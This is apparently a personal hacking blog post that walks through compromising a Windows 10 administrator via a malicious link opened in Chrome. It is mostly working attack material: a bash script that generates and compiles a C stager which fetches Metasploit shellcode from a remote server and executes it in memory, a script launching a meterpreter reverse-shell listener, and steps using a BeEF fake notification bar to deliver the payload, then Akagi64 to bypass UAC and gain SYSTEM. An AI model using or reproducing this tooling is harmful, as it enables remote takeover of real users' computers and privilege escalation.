I have promised myself to try this exercise to show how this is done.
We have the following scenario :
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Windows 10 Local/Domain user with Admin privileges
Malicious link to “BeEF website” that is opened via Google Chrome on Windows 10
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In this case I have used the following software :
– Windows 10 W10PRO.VLX64.MULTi7.Apr2016.iso
– Metasploit framework current
– Some “script-fu” (custom meterpreter payload generator – read my previous posts)
– BeEF http://beefproject.com/
– Akagi64.exe from https://github.com/hfiref0x /UACME
– VirtualBox
– And of course some trusty Linux system ;)
My custom payload generator script is this :
#!/bin/bash
clear
echo "****************************************************************"
echo " Automatic C source code generator - FOR METASPLOIT "
echo " Based on rsmudge metasploit-loader "
echo "****************************************************************"
echo -en 'Metasploit server IP : '
read ip
echo -en 'Metasploit port number : '
read port
echo '#include <stdio.h>'> temp.c
echo '#include <stdlib.h>' >> temp.c
echo '#include <winsock2.h>' >> temp.c
echo '#include <windows.h>' >> temp.c
echo -n 'unsigned char server[]="' >> temp.c
echo -n $ip >> temp.c
echo -n '";' >> temp.c
echo '' >> temp.c
echo -n 'unsigned char serverp[]="' >> temp.c
echo -n $port >> temp.c
echo -n '";' >> temp.c
echo '' >> temp.c
echo 'void winsock_init() {' >> temp.c
echo ' WSADATA wsaData;' >> temp.c
echo ' WORD wVersionRequested;' >> temp.c
echo ' wVersionRequested = MAKEWORD(2, 2);'>> temp.c
echo ' if (WSAStartup(wVersionRequested, &wsaData) < 0) {' >> temp.c
echo ' printf("bad\n"); '>> temp.c
echo ' WSACleanup(); '>> temp.c
echo ' exit(1);'>> temp.c
echo ' }' >> temp.c
echo ' }' >> temp.c
echo ' void punt(SOCKET my_socket, char * error) {' >> temp.c
echo ' printf("r %s\n", error);'>> temp.c
echo ' closesocket(my_socket);'>> temp.c
echo ' WSACleanup();'>> temp.c
echo ' exit(1);' >> temp.c
echo ' }' >> temp.c
echo ' int recv_all(SOCKET my_socket, void * buffer, int len) {' >> temp.c
echo ' int tret = 0;'>> temp.c
echo ' int nret = 0;'>>temp.c
echo ' void * startb = buffer;'>> temp.c
echo ' while (tret < len) {'>>temp.c
echo ' nret = recv(my_socket, (char *)startb, len - tret, 0);'>> temp.c
echo ' startb += nret;'>> temp.c
echo ' tret += nret;'>>temp.c
echo ' if (nret == SOCKET_ERROR)'>> temp.c
echo ' punt(my_socket, "no data");'>> temp.c
echo ' }'>>temp.c
echo ' return tret;'>> temp.c
echo '}' >> temp.c
echo 'SOCKET wsconnect(char * targetip, int port) {'>> temp.c
echo ' struct hostent * target;' >> temp.c
echo ' struct sockaddr_in sock;' >> temp.c
echo ' SOCKET my_socket;'>>temp.c
echo ' my_socket = socket(AF_INET, SOCK_STREAM, 0);'>> temp.c
echo ' if (my_socket == INVALID_SOCKET)'>> temp.c
echo ' punt(my_socket, ".");'>>temp.c
echo ' target = gethostbyname(targetip);'>>temp.c
echo ' if (target == NULL)'>>temp.c
echo ' punt(my_socket, "..");'>>temp.c
echo ' memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);'>>temp.c
echo ' sock.sin_family = AF_INET;'>> temp.c
echo ' sock.sin_port = htons(port);'>>temp.c
echo ' if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )'>>temp.c
echo ' punt(my_socket, "...");'>>temp.c
echo ' return my_socket;'>>temp.c
echo '}' >> temp.c
echo 'int main(int argc, char * argv[]) {' >> temp.c
echo ' FreeConsole();'>>temp.c
echo ' ULONG32 size;'>>temp.c
echo ' char * buffer;'>>temp.c
echo ' void (*function)();'>>temp.c
echo ' winsock_init();'>> temp.c
echo ' SOCKET my_socket = wsconnect(server, atoi(serverp));'>>temp.c
echo ' int count = recv(my_socket, (char *)&size, 4, 0);'>>temp.c
echo ' if (count != 4 || size <= 0)'>>temp.c
echo ' punt(my_socket, "error lenght\n");'>>temp.c
echo ' buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);'>>temp.c
echo ' if (buffer == NULL)'>>temp.c
echo ' punt(my_socket, "error in buf\n");'>>temp.c
echo ' buffer[0] = 0xBF;'>>temp.c
echo ' memcpy(buffer + 1, &my_socket, 4);'>>temp.c
echo ' count = recv_all(my_socket, buffer + 5, size);'>>temp.c
echo ' function = (void (*)())buffer;'>>temp.c
echo ' function();'>>temp.c
echo ' return 0;'>>temp.c
echo '}' >> temp.c
echo '(+) Compiling binary ..'
i686-w64-mingw32-gcc temp.c -o payload.exe -lws2_32 -mwindows
rm temp.c
strip payload.exe
file=`ls -la payload.exe` ; echo '(+)' $file
My custom Listeners are this:
#!/bin/bash clear echo "***************************************************************" echo " Automatic shellcode generator - FOR METASPLOIT " echo " For Automatic Teensy programming and deployment " echo "***************************************************************" echo -e "What IP are we gonna listen to ? \c" read host echo -e "What Port Number are we gonna listen to? : \c" read port echo "Starting the meterpreter listener.." echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp ; set LHOST ' > run.listener.sh echo -n $host >> run.listener.sh echo -n '; set LPORT ' >> run.listener.sh echo -n $port >> run.listener.sh echo -n '; run"' >> run.listener.sh chmod +x run.listener.sh ./run.listener.sh
So lets get to the execution
– Generate 2 payloads via the Custom-Payload-Generator
(payload.exe and payload.uac.exe)
– Start Custom Listeners (for payload.exe and payload.uac.exe)
– Load the payload.exe to BeEF’s /extensions/demos/html
– Execute the BeEF “Fake Notification Bar (Chrome) under hooked browser
– Windows 10 makes it much more difficult to execute an unsigned binary but its still possible :)
– Once we get a reverse shell, try to get system… it will fail, we need UAC bypass
– Upload a second payload.uac.exe to the host
– Upload Akagi64.exe to the same location
– Migrate to Explorer.exe (you wont be able to launch shell from Chrome PID)
– Launch shell to get a Windows command prompt
– Execute akagi64.exe 17 c:\location\of\the\payload.uac.exe
– On the second Listener (payload.uac.exe) a shell should pop up
– Now you can run getsystem ;) in this new shell
If anything is unclear, watch the attached youtube video
– Stay safe ;)
Here is the Video Demo – enjoy
